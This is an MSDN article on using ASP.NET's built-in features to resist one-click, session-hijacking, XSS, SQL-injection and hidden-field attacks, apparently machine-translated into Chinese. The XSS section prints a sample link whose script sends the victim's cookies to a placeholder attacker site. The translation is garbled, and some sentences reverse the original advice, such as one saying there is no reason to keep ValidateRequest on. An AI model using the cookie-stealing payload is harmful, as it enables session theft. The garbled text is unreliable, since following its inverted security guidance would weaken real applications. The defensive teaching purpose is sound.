利用 ASP.NET 內建功能來避開 Web 攻擊

 

Dino Esposito
Wintellect

2005 年 1 月

適用於
   Microsoft ASP.NET 1。X
   Microsoft ASP.NET 2.0

總結: Dino 摘要說明最常見的 Web 攻擊類型,並說明 Web 開發人員如何使用 ASP.NET 的內建功能來增加安全性。 (13 個列印頁面)

目錄

開發人員 ASP.NET 應一律在威脅的來源處執行哪些動作
ViewStateUserKey
Cookie 和驗證
會話攔截
EnableViewStateMac
ValidateRequest
資料庫檢視方塊
隱藏欄位
電子郵件和垃圾郵件
總結
相關資源

開發人員應一律執行 ASP.NET

如果您正在閱讀本文,您可能不需要對 Web 應用程式中安全性的成長重要性進行演講。 您可能正在尋找如何在 ASP.NET 應用程式中實作安全性的一些實用建議。 好消息是,沒有開發平臺,包括 ASP.NET,可保證一旦採用程式碼,您就能撰寫 100% 的安全程式碼,而誰會說出問題。 就 ASP.NET 而言,好消息是 ASP.NET,特別是 1.1 版和未來的 2.0 版,整合了一些內建防禦障礙,可供使用。

單獨套用所有這些功能並不足以保護 Web 應用程式免于遭受所有可能且可預測的攻擊。 不過,與其他防禦技術和安全性策略結合,內建 ASP.NET 功能形成功能強大的工具組,以協助確保應用程式在安全的環境中運作。

Web 安全性是各種因素和策略的總和,其超出個別應用程式的界限,以牽涉到資料庫管理、網路設定,以及社交工程和網路釣魚。

本文的目標是說明 ASP.NET 開發人員應該一律執行哪些動作,以確保安全性列相當高。 這主要是安全性,就是讓防護保持安全,絕不會完全安全,並讓壞人更難破解。

讓我們看看 ASP.NET 必須提供哪些專案來簡化作業。

威脅來自何處

在表 1 中,我已摘要說明應用程式中最常見的 Web 攻擊類型和瑕疵,讓它們能夠成功。

攻擊 可透過 進行。 . .
XSS (跨網站腳本) 未受信任的使用者輸入回應至頁面
SQL 資料隱碼 使用者輸入串連以形成 SQL 命令
工作階段攔截 會話識別碼猜測和遭竊的會話識別碼 Cookie
單鍵 未察覺透過腳本傳送的 HTTP 文章
隱藏欄位竄改 未核取的 (和受信任的) 隱藏欄位內含敏感性資料

表 1. 常見的 Web 攻擊

從清單中出現的重要事實為何? 我至少說下列三個:

  • 每當您將任何類型的使用者輸入插入瀏覽器的標記時,您都可能會將自己公開至程式碼插入式攻擊, (SQL 插入式和 XSS) 的任何變化。
  • 資料庫存取必須安全地完成,也就是說,針對帳戶使用最少的許可權集,並透過角色分隔個別使用者的責任。
  • 敏感性資料絕對不應該透過網路傳送, (單獨做為純文字) ,而且必須安全地儲存在伺服器上。

請注意,上述三點解決了 Web 安全性的三個不同層面,其中的組合是建置防符號和防竄改應用程式的唯一合理方式。 Web 安全性的 Facet 可以摘要如下:

  • 程式碼撰寫做法:資料驗證、類型和緩衝區長度檢查、防竄改量值
  • 資料存取策略:使用角色來確保最弱的可能帳戶、使用預存程式或至少參數化命令
  • 有效的儲存體和管理:不要將重要資料向下傳送至用戶端、使用雜湊碼來偵測操作、驗證使用者及保護身分識別、套用嚴格的密碼原則

如您所見,安全的應用程式只能由開發人員、架構設計人員和系統管理員的組合工作所產生。 請勿假設您可以正確取得它。

撰寫 ASP.NET 應用程式時,您不會自行對抗駭客的破壞,只利用您的大腦、技能和手指來輸入程式程式碼。 ASP.NET 1.1 和更新版本可協助使用一些特定功能,以針對上述某些威脅引發自動屏障。 讓我們詳細檢閱。

ViewStateUserKey

ASP.NET 1.1 引進, ViewStateUserKeyPage 類別上的字串屬性,只有少數開發人員才能夠熟悉。 原因為何? 讓我們閱讀檔所要說的內容。

在與目前頁面相關聯的檢視狀態變數中,將識別碼指派給個別使用者

儘管卷積樣式,句子相當清楚;但是,您是否可以可靠地說它說明屬性的預定用途? To understand the role of ViewStateUserKey, you need to read a little further, until you arrive at the Remarks section.

屬性藉由提供額外的輸入來建立雜湊值來防止單鍵攻擊,以防止檢視狀態遭到竄改。 換句話說, ViewStateUserKey 讓駭客更難使用用戶端檢視狀態的內容來準備網站的惡意文章。 屬性可以指派任何非空白字串,最好是會話識別碼或使用者的識別碼。 為了進一步瞭解此屬性的重要性,讓我們簡短地檢閱 單鍵 攻擊的基本概念。

單鍵攻擊包含將惡意 HTTP 表單張貼到已知、易受攻擊的網站。 它稱為「單鍵」,因為它通常會從未察覺到犧牲者按一下透過電子郵件收到的啟發式連結開始,或在流覽密集論壇時找到。 藉由遵循連結,使用者不小心觸發遠端程式,最後會將惡意 < 表單 > 提交至網站。 真心:您說您從未追蹤過連結,例如 按一下這裡來贏得 $1,000,000 美元 ,看看會發生什麼事? 很明顯地,您不會發生任何不良狀況。 假設這是正確的;您可以對 Web 社群的其餘部分說出相同嗎? 誰知道呢。

若要成功,按一下式攻擊需要特定背景條件:

  • 攻擊者必須知道許多關於易受攻擊的網站。 這是因為攻擊者「小心」研究檔案,或因為他/她是一個內部 (,例如引發且自責的員工) 。 基於這個理由,攻擊可能會造成傷害。
  • 如果持續性 Cookie) 實作單一登入,且攻擊者應該已收到有效的驗證 Cookie,網站就必須使用 cookie (更好。
  • 網站的某些使用者涉及敏感性交易。
  • 攻擊者必須能夠存取目標頁面。

如前所述,攻擊包含將惡意 HTTP 表單提交至預期表單的頁面。 合理地,此頁面將會取用張貼的資料來執行一些敏感性作業。 合理地,攻擊者確切知道每個欄位的使用方式,而且可能會產生一些詐騙值來達成其目標。 這通常是目標式攻擊,而且因為其所建立的三角形交易而難以追蹤,駭客會引發犧牲者按一下駭客網站上的連結,進而將錯誤的程式碼張貼到第三個網站。 (請參閱圖 1.)

ms972969.securitybarriers01 (en-us,MSDN.10) .gif

圖 1. 單鍵攻擊

為什麼沒有監督的犧牲者? 因為如此一來,伺服器記錄會顯示錯誤要求的來源 IP 位址是犧牲者的 IP 位址! 如前所述,此攻擊不如常見的 (,而且很容易將) 排列為「傳統」XSS;不過,其本質可能會使它變得很令人氣氣。 其是什麼? 讓我們檢閱 ASP.NET 內容中攻擊的機制。

除非動作是在 Page_Load 事件中編碼,否則 ASP.NET 網頁無法執行回傳事件以外的敏感性程式碼。 若要進行回傳事件,檢視狀態欄位是必要的。 請記住,ASP.NET 檢查要求的回傳狀態,並根據 _VIEWSTATE輸入欄位是否存在設定 IsPostBack 。 因此,只要誰想要將假要求傳送至 ASP.NET 網頁,都必須提供有效的檢視狀態欄位。

若要讓單鍵攻擊能夠運作,駭客必須能夠存取頁面。 發生這種情況時,遠見的駭客會在本機儲存頁面。 因此,他/她可以存取_VIEWSTATE欄位,並使用該欄位來建立具有舊檢視狀態和惡意值的要求。 問題在於,這是否可運作?

為什麼不用? 如果攻擊者可以提供有效的驗證 Cookie,駭客就會進入,並定期處理要求。 當 EnableViewStataMac 關閉) ,或只會檢查是否有竄改時,伺服器 (檢視狀態內容。 根據預設,檢視狀態中沒有任何專案會將該內容系結至特定使用者。 攻擊者可以輕鬆地重複使用取得頁面合法存取權的檢視狀態,以代表其他使用者建置假要求。 這是 ViewStateUserKey 所在的位置。

如果正確選擇,屬性會將使用者特定資訊新增至檢視狀態。 處理要求時,ASP.NET 從檢視狀態擷取索引鍵,並將它與執行中頁面的 ViewStateUserKey 進行比較。 如果兩個相符專案,則會將要求視為合法;否則會擲回例外狀況。 屬性的有效值為何?

ViewStateUserKey 設定為常數位符串,與所有使用者相同,就像將它保留空白。 您必須將它設定為每個使用者不同的專案—使用者識別碼或更佳的會話識別碼。 基於諸多技術和社交方面的原因,工作階段識別碼會比較適合,因為工作階段識別碼無法預料、會逾時,而且會隨每個使用者而有所不同。

您的所有網頁中必須擁有的程式碼如下:

void Page_Init (object sender, EventArgs e) {
   ViewStateUserKey = Session.SessionID;
   :
}

若要避免再次寫入此內容,您可以在Page衍生類別的OnInit虛擬方法中將其釘選。 (請注意,您必須在 Page.Init event.) 中設定此屬性

protected override OnInit(EventArgs e) {
   base.OnInit(e); 
   ViewStateUserKey = Session.SessionID;
}

整體來說,使用基底頁面類別一定是件好事,如我在 Richer Bedrock 上建置您的 ASP.NET 網頁一文所述。 如需深入瞭解單鍵攻擊者策略的絕佳文章,請參閱 aspnetpro.com

Cookie 和驗證

Cookie 存在,因為它們可協助開發人員達成結果。 Cookie 的運作方式是瀏覽器與伺服器之間的持續性連結。 特別是針對使用單一登入的應用程式,遭竊的 Cookie 只是讓攻擊變得可能。 這當然是單鍵攻擊的情況。

若要使用 Cookie,您不需要以程式設計方式明確建立和讀取它們。 如果您使用會話狀態,以及實作表單驗證,則隱含地使用 Cookie。 當然,ASP.NET 支援 Cookieless 會話狀態,而 ASP.NET 2.0 也引進了 Cookieless 表單驗證。 因此,理論上,您可以使用這些功能而不使用 Cookie。 我不知道您不需要這麼做,但這只是其中一種情況,其中一種情況可能比疾病更糟。 事實上,Cookieless 會話會在 URL 中內嵌會話識別碼,讓每個人都可以看到。

連線到使用 Cookie 的潛在問題為何? Cookie 可以遭竊 (,也就是複製到駭客的電腦) 和有害 (,也就是填入惡意資料) 。 這些動作通常是連入攻擊的前置詞。 如果遭竊,驗證 Cookie 會「授權」外部使用者連線到應用程式 (並使用受保護的) 頁面,並代表您使用受保護的頁面,可能會讓駭客輕鬆略過授權,並自行執行任何角色和安全性設定,讓犧牲者能夠執行任何動作。 基於這個理由,驗證 Cookie 通常會獲得相對短的存留期,也就是 30 分鐘。 (請注意,即使瀏覽器的會話需要較長的時間才能完成。) 若遭竊,駭客有 30 分鐘的視窗可嘗試攻擊。

您可以放大此視窗,以儲存使用者不必太頻繁登入;請注意,您會在自己的環境中執行此動作。 在任何情況下,請避免使用 ASP.NET 持續性 Cookie。 這會使 Cookie 的存留期幾乎是永久的,只要 50 年! 下列程式碼片段示範如何修改 Cookie 在休息時間到期。

void OnLogin(object sender, EventArgs e) {
   // Check credentials
   if (ValidateUser(user, pswd)) {
      // Set the cookie's expiration date
      HttpCookie cookie;
      cookie = FormsAuthentication.GetAuthCookie(user, isPersistent);
      if (isPersistent) 
         cookie.Expires = DateTime.Now.AddDays(10);

      // Add the cookie to the response
      Response.Cookies.Add(cookie);

      // Redirect
      string targetUrl;
      targetUrl = FormsAuthentication.GetRedirectUrl(user, isPersistent);
   Response.Redirect(targetUrl);
   }
}

您可能想要在自己的登入表單中使用此程式碼,以微調驗證 Cookie 的存留期。

會話攔截

Cookie 也可用來擷取特定使用者的會話狀態。 會話的識別碼會儲存至與要求一起往返的 Cookie,並儲存在瀏覽器的電腦上。 同樣地,如果遭竊會話 Cookie 可用來讓駭客進入系統並存取其他人的會話狀態。 不需要說,只要指定的會話處於作用中狀態,就可能發生這種情況,通常不超過 20 分鐘。 透過詐騙會話狀態進行的攻擊稱為 會話攔截。 如需會話擷取的詳細資訊,請參閱 在網路上竊取:防止會話攔截。

這種攻擊有多危險? 很難說。 這取決於網站的運作方式,更重要的是,其頁面的設計方式。 例如,假設您能夠取得其他人的會話 Cookie,並將它附加至網站上的頁面要求。 您載入頁面並透過其一般使用者介面工作。 您無法在頁面中插入任何程式碼,而且您可以在頁面中改變任何專案,不同之處在于頁面現在使用其他使用者的會話狀態運作。 這並不正常,但只要會話中的資訊敏感且重要,可能會讓駭客直接利用成功。 看一下,駭客無法探查會話存放區的內容,但儲存在其中的內容就像駭客合法輸入它一樣。 例如,假設有一個電子商務應用程式,使用者在流覽網站時將專案新增至購物車。

  • 案例 #1。 購物車的內容會儲存在會話狀態中。 不過,簽出時,系統會要求使用者確認並輸入透過安全 SSL 連線的付款詳細資料。 在此情況下,插入其他使用者的會話狀態只允許駭客瞭解有關犧牲者購物喜好設定的一些詳細資料。 在此內容中,不一定會造成任何損害。 只有機密性有風險。
  • 案例 #2。 應用程式會處理每個已註冊使用者的設定檔,並將設定檔儲存在會話狀態。 Alas,設定檔 (,可能是) 包含信用卡資訊的情況。 為什麼要將使用者設定檔詳細資料儲存到會話中? 也許應用程式的其中一個目標最終是將使用者從輸入信用卡和銀行資訊一次儲存在一起。 因此,在簽出時,應用程式會將使用者巡覽至具有預先填入欄位的頁面。 不小心,其中一個欄位是取自會話狀態的信用卡號碼。 您現在可以猜出本文結尾嗎?

應用程式頁面的設計是防止會話攔截攻擊的關鍵。 不過,兩個點仍保持開啟狀態。 第一個是,您可以怎麼做來防止 Cookie 竊取? 第二個是,ASP.NET 如何偵測和封鎖攔截?

ASP.NET 會話 Cookie 非常簡單,而且僅限於包含唯一的會話識別碼字串。 ASP.NET 執行時間會從 Cookie 擷取會話識別碼,並針對使用中的會話進行檢查。 如果識別碼有效,ASP.NET 連線到對應的會話並繼續。 此行為可大幅簡化遭竊或猜測有效會話識別碼的駭客生活。

XSS 和中間人攻擊以及對用戶端電腦的暴力密碼存取都是取得有效 Cookie 的方法。 若要防止竊取,您應該實作安全性最佳做法,以防止 XSS 及其所有變化成功。

若要避免會話識別碼猜測,您應該直接避免過度使用您的技能。 猜測會話識別碼表示您知道預測有效會話識別碼字串的方法。 假設 ASP.NET (15 個亂數對應至啟用 URL 的字元) 所使用的演算法,您有機會依機率猜測有效的識別碼接近零。 我沒有理由考慮使用您自己的會話識別碼產生器來取代預設會話識別碼產生器。 在許多情況下,您只會讓攻擊者更容易使用。

會話攔截更糟的是,一旦 Cookie 遭竊或猜測,就沒有太多 ASP.NET 可以偵測 Cookie 的詐騙用途。 同樣地,原因是 ASP.NET 會限制本身檢查識別碼的有效性,並詢問 Cookie 的來源位置。

我的 Wintellect pal Jeff Prosise 針對 MSDN Magazine撰寫了一篇絕佳的會話攔截文章。 他的結論提供一些緩和性—幾乎不可能建置一個完全防範依賴遭竊會話識別碼 Cookie 的攻擊,但他開發的程式碼會提供智慧提示來提高安全性列。 Jeff 建立了 HTTP 模組,可監視會話識別碼 Cookie 的傳入要求和傳出回應。 模組會將雜湊碼附加至傳出會話識別碼,讓攻擊者難以重複使用該 Cookie。 您可以 在這裡閱讀詳細資料。

EnableViewStateMac

檢視狀態是用來保存相同頁面兩個連續要求的控制項狀態。 根據預設,檢視狀態為 Base64 編碼,並以雜湊值簽署,以防止竄改。 除非您變更預設頁面設定,否則檢視狀態不會有竄改的風險。 如果攻擊者修改檢視狀態,或即使他/她使用正確的演算法重建檢視狀態,ASP.NET 攔截嘗試並擲回例外狀況。 不過,竄改的檢視狀態不一定是有害的,而是會修改伺服器控制項的狀態,但可能會成為嚴重感染的車輛。 基於這個理由,您 不會 移除電腦驗證碼, (MAC) 預設進行的交叉檢查。 請參閱圖 2。

ms972969.securitybarriers02 (en-us,MSDN.10) .gif

圖 2. 啟用 EnableViewStateMac 時,檢視狀態原本會遭到竄改

啟用 MAC 檢查 (這是預設) 時,序列化檢視狀態會附加一個雜湊值,以從某些伺服器端值和檢視狀態使用者金鑰產生,如果有的話。 當檢視狀態傳回時,會使用全新的伺服器端值再次計算雜湊值,並相較于預存的值。 如果兩個相符專案,則允許要求;否則會擲回例外狀況。 即使駭客具備破解和重建檢視狀態的技能,他/她也需要知道伺服器儲存的值,才能產生有效的雜湊。 具體而言,駭客必須知道machine.config的 machineKey> 專案中所參考 < 的電腦金鑰。

根據預設,< machineKey >專案會自動產生,並實際儲存在 Windows本機安全性授權單位 (LSA) 。 只有在 Web 服務器陣列的情況下,檢視狀態的電腦金鑰在所有電腦上都必須相同時,您應該在machine.config檔案中將其指定為純文字。

檢視狀態 MAC 檢查是透過名為EnableViewStateMac的@Page指示詞屬性來控制。 如前所述,預設會將其設定為 true。 永不停用;其會讓檢視狀態遭到竄改一鍵攻擊,並有機會成功。

ValidateRequest

跨網站腳本 (XSS) 是許多經驗豐富的 Web 開發人員的舊熟悉之處,自 1999 年起即是如此。 簡單來說,XSS 會利用程式碼中的漏洞,將駭客的可執行程式碼引入其他使用者的瀏覽器會話。 執行時,插入的程式碼可以執行各種動作:抓取 Cookie 並將複本上傳至駭客的受控制網站、監視使用者的 Web 會話和轉寄資料、修改駭客頁面的行為和外觀,甚至讓本身持續存在,讓使用者下次返回頁面時, 詐騙碼會再次執行。 在 TechNet 文章跨 網站腳本概觀中深入瞭解 XSS 攻擊的基本概念。

程式碼中的哪些漏洞可讓 XSS 攻擊成為可能?

XSS 會利用 Web 應用程式來動態產生 HTML 頁面,且不會驗證回應至頁面的輸入。 此處的輸入表示查詢字串、Cookie 和表單欄位的內容。 如果此內容在線上而不進行適當的健全檢查,駭客可以在用戶端瀏覽器中操作它以執行惡意腳本的風險。 (之後,上述單鍵攻擊是 XSS.) 一般的 XSS 攻擊需要使用者遵循內嵌逸出腳本程式碼的擷取連結。 詐騙代碼會傳送至可信任輸出它的易受攻擊頁面。 以下是可能發生的範例:

<a href="http://www.vulnerableserver.com/brokenpage.aspx?Name=
<script>document.location.replace(
'http://www.hackersite.com/HackerPage.aspx?
Cookie=' + document.cookie);
</script>">Click to claim your prize</a>

使用者按一下明顯安全的連結,最後會傳遞至易受攻擊的頁面一段腳本程式碼,先取得使用者電腦上的所有 Cookie,然後將他們傳送至駭客網站上的頁面。

請務必注意,XSS 不是廠商特定的問題,而且不一定會利用 Internet Explorer 中的漏洞。 這會影響目前市場中的每個網頁伺服器和瀏覽器。 更重要的是,請注意,沒有單一修補程式可以修正。 您確實可以透過套用特定的量值和健全的編碼做法,保護您的頁面免于 XSS。 此外,請注意,攻擊者不需要使用者按一下連結以啟動攻擊。

若要防禦 XSS,您主要必須判斷哪些輸入有效,並拒絕其餘所有輸入。 如需有關檢查 XSS 攻擊的詳細檢查清單,請參閱在 Microsoft 撰寫安全程式碼 給 Michael Howard 和 David LeBlanc 的必要閱讀書籍中。 特別是,建議您仔細查看第 13 章。

為了抵禦無提示的 XSS 攻擊,主要方式是將已完成且穩固的驗證層新增至您的輸入,也就是任何類型的輸入資料。 例如, 在某些情況下 ,即使是不重要的色彩,RGB 三元色彩,也可以直接將未受控制的腳本帶入頁面。

在 ASP.NET 1.1 開啟時,@Page指示詞上的ValidateRequest屬性會檢查使用者不會在查詢字串、Cookie 或表單欄位中傳送潛在危險 HTML 標籤。 如果偵測到該狀況,則會擲回例外狀況,並中止要求。 屬性預設為開啟;您不需要執行任何動作才能受到保護。 如果您想要允許 HTML 標籤傳遞,則必須主動停用它。

<%@ Page ValidateRequest="false" %>

ValidateRequest不是 銀項專案符號,而且無法取代有效的驗證層。 請閱讀 這裡 ,以取得功能在幕後運作方式的許多重要資訊。 它基本上會套用正則運算式來攔截一些可能有害的序列。

注意ValidateRequest功能原本有瑕疵;您需要套用修補程式,才能如預期般運作。 這是通常未注意到的重要資訊。 很奇怪,我自己發現其中一部機器仍然受到瑕疵的影響。 趕緊去瞧一瞧!

沒有理由讓 ValidateRequest 保持開啟。 您可以停用它,但必須有很好的理由;其中一個可能是使用者要求能夠將一些 HTML 張貼至網站,以取得更好的格式設定選項。 在此情況下,您應該限制允許的 HTML 標籤數目, (< pre >< b >i > 、 << p >< br >< hr >) 並撰寫正則運算式,以確保不允許或接受任何其他專案。

以下是一些協助保護 ASP.NET 應用程式免于 XSS 的秘訣:

  • 使用 HttpUtility.HtmlEncode 將危險符號轉換成其 HTML 標記法。
  • 使用雙引號而非單引號,因為 HTML 編碼只會逸出雙引號。
  • 強制字碼頁限制可以使用的字元數。

總而言之,請使用,但不完全信任 ValidateRequest 屬性,而且不會太延遲。 花一些時間瞭解 XSS 之類的安全性威脅,並規劃以一個重要點為中心的防禦策略,請考慮所有使用者輸入問題。

資料庫檢視方塊

SQL 插入是另一種已知的攻擊類型,會利用使用未篩選的使用者輸入來形成資料庫命令的應用程式。 如果應用程式非常順利地使用表單欄位中的使用者輸入的內容來建立 SQL 命令字串,它會讓您面臨惡意使用者可能直接存取頁面並輸入詐騙參數來修改查詢本質的風險。 您可以 在這裡深入瞭解 SQL 插入。

有許多方式可以阻止 SQL 插入式攻擊。 以下是最常見的技術。

  • 請確定任何使用者輸入都屬於適當的類型,並遵循預期模式 (郵遞區號、SSN、電子郵件地址) 。 如果您預期來自文字方塊的數位,如果使用者輸入無法轉換成數位的專案,請封鎖要求。
  • 使用參數化查詢,或更妥善地使用預存程式。
  • 使用SQL Server許可權來限制每位使用者可以在資料庫上執行的工作。 例如,您可能想要停用xp_cmdshell,或將它限制為系統管理員。

如果您使用預存程式,會大幅減少受攻擊面。 事實上,使用預存程式時,您不需要動態撰寫 SQL 字串。 此外,任何參數都會根據指定的型別驗證SQL Server。 雖然這並非 100% 的安全技術,但結合驗證可讓您更安全。

請務必確保只有授權的使用者執行可能很不重要的作業,例如卸載資料表。 這需要仔細設計應用程式的仲介層。 一個良好的技術,不只是因為安全性,就是將焦點放在角色上。 您會將角色中的使用者分組,並針對每個角色定義具有最低許可權集的帳戶。

在幾周前,Wintellect 網站正透過複雜的 SQL 插入形式遭受攻擊。 駭客嘗試建立並啟動 FTP 腳本,以下載 (惡意?) 可執行檔。 我們很幸好攻擊失敗。 或者,它是強式輸入驗證、使用預存程式,以及使用防止攻擊運作的SQL Server許可權?

總結來說,請遵循下列指導方針來避免不想要的 SQL 程式碼插入:

  • 以最低許可權執行,且永遠不會以 「sa」 執行程式碼。
  • 限制對內建預存程式的存取。
  • 偏好 SQL 參數化查詢。
  • 請勿透過字串串連建置語句,且不會回應資料庫錯誤。

隱藏欄位

在傳統 ASP 中,隱藏欄位是保存要求之間資料的唯一方式。 您在下一個要求上擷取的任何資料會封裝到隱藏< 的輸入 >欄位,並四捨五入。 如果用戶端上有人修改儲存在欄位中的值,該怎麼辦? 只要文字清楚,伺服器端環境就沒有辦法找出它。 頁面和個別控制項的 ASP.NET ViewState 屬性有兩個用途。 一方面, ViewState 是跨要求保存狀態的方法;另一方面, ViewState 可讓您將自訂值儲存在受保護的防竄改隱藏欄位中。

如圖 2 所示,檢視狀態會附加一個雜湊值,以檢查每個和每個偵測竄改的要求。 在 ASP.NET 中使用隱藏欄位並無理由,但在某些情況下除外。 檢視狀態會以更安全的方式執行相同的動作。 事先說,在清楚隱藏的欄位中儲存敏感值,例如價格或信用卡詳細資料,就像讓駭客保持開放門,檢視狀態甚至會讓這種不良的做法比之前更不安全,因為其資料保護機制。 不過,請記住,檢視狀態會防止竄改,但不會保證機密性,除非您將其加密,因此,儲存在檢視狀態的信用卡詳細資料仍然有風險。

何時可以接受在 ASP.NET 中使用隱藏欄位? 當您建置需要將資料傳回伺服器的自訂控制項時。 例如,假設您建立支援資料行重新排序的新 DataGrid 控制項。 您必須在回傳時將新訂單傳回伺服器。 如果不是儲存到隱藏欄位,則您可以在何處儲存此資訊?

如果隱藏欄位是可讀寫的欄位,也就是說,用戶端預期會寫入該欄位,您就不需要這麼做是駭客證明。 您可以嘗試雜湊或加密文字,但這不會讓您有任何合理的確定性未遭到入侵。 這裡的最佳防禦是讓隱藏欄位包含插入和無傷害的資訊。

也就是說,值得注意的是,ASP.NET 公開一些已知類別,可用來編碼和雜湊任何序列化物件。 類別是 LosFormatter ,而且是 ViewState 實作用來建立已編碼文字四捨五入至用戶端的相同類別。

private string EncodeText(string text) {
  StringWriter writer = new StringWriter();
  LosFormatter formatter = new LosFormatter();
  formatter.Serialize(writer, text);
  return writer.ToString();
}

上述程式碼片段示範如何使用 LosFormatter 來建立檢視類似狀態的內容、編碼和雜湊。

電子郵件和垃圾郵件

若要結束本文,讓我們指出至少兩個最常見的攻擊:傳統 XSS 和一鍵,通常是藉由讓不建議的犧牲者按一下詐騙連結來進行。 許多時候,我們直接在收件匣中發現這類連結,反垃圾郵件篩選器不會有任何通知。 電子郵件地址數量可以購買數美元。 用來建置這類清單的主要技術之一是掃描網站上的公開頁面,並擷取看起來像電子郵件地址的任何專案。

如果頁面顯示電子郵件地址,則網頁機器人將攔截到的機率很快或更新版本都不錯。 真? 同樣地,這取決於您顯示電子郵件地址的方式。 如果您硬式編碼,就會遺失。 如果您想要替代的標記法,例如 dino-at-microsoft-dot-com,則如果您真的對 Web 機器人有説明,則並不清楚;當然,您會在想要建立合法連絡人的頁面時,讓任何人類閱讀頁面。

整體來說,您應該找出動態產生電子郵件地址做為 mailto 連結的方法。 這完全是一個由 Azure Bellinaso 撰寫的免費元件。 您可以從 DotNet2TheMax 網站取得完整的原始程式碼。

總結

任何人是否懷疑 Web 可能是所有執行時間環境最有害? 這來自每個人都可以存取網站,並嘗試傳遞良好和不正確的資料的事實。 不過,建立不接受使用者輸入的 Web 應用程式是否真的合理?

因此,讓我們來看看:無論您的防火牆有多強,以及套用可用修補程式的頻率,如果您執行原本就易受攻擊的 Web 應用程式,較快或更新的攻擊者會透過主要入口直接前往系統的核心,也就是埠 80。

ASP.NET 應用程式不會比其他 Web 應用程式更易受攻擊或更安全。 安全性和弱點都衍生自程式碼撰寫做法、現場的經驗,以及團隊合作。 如果網路不是,則沒有任何應用程式安全;同樣地,無論網路有多安全且妥善管理,攻擊者在應用程式中斷時一律會找到其方式。

ASP.NET 的優點是,它提供一些良好的工具,讓您按一下即可將安全性列提升至可傳遞的層級。 不過,這不是足夠的層級。 請勿單獨依賴 ASP.NET 內建解決方案,但您不應該忽略它們。 並盡可能瞭解最常見的攻擊。

本文提供內建功能的批註清單,以及一些有關攻擊和防禦的背景。 偵測進行中攻擊的技術是另一個故事,而且可能需要另一篇文章。

由 Michael Howard 和 David LeBlanc撰寫安全程式碼

TechNet Magazine,網路遭竊:防止會話攔截

 

關於作者

Dino Esposito 是以 義大利為基礎的 Wintellect 講師和顧問。 Microsoft ASP.NET 程式設計 作者和 Microsoft Press ) 2.0 的最新簡介 Microsoft ASP.NET 2.0 (,他花大部分的時間在 ASP.NET 和 ADO.NET,並在會議中演講。 在 導覽 Dino 的部落格 https://weblogs.asp.net/despos

© Microsoft Corporation。 著作權所有,並保留一切權利。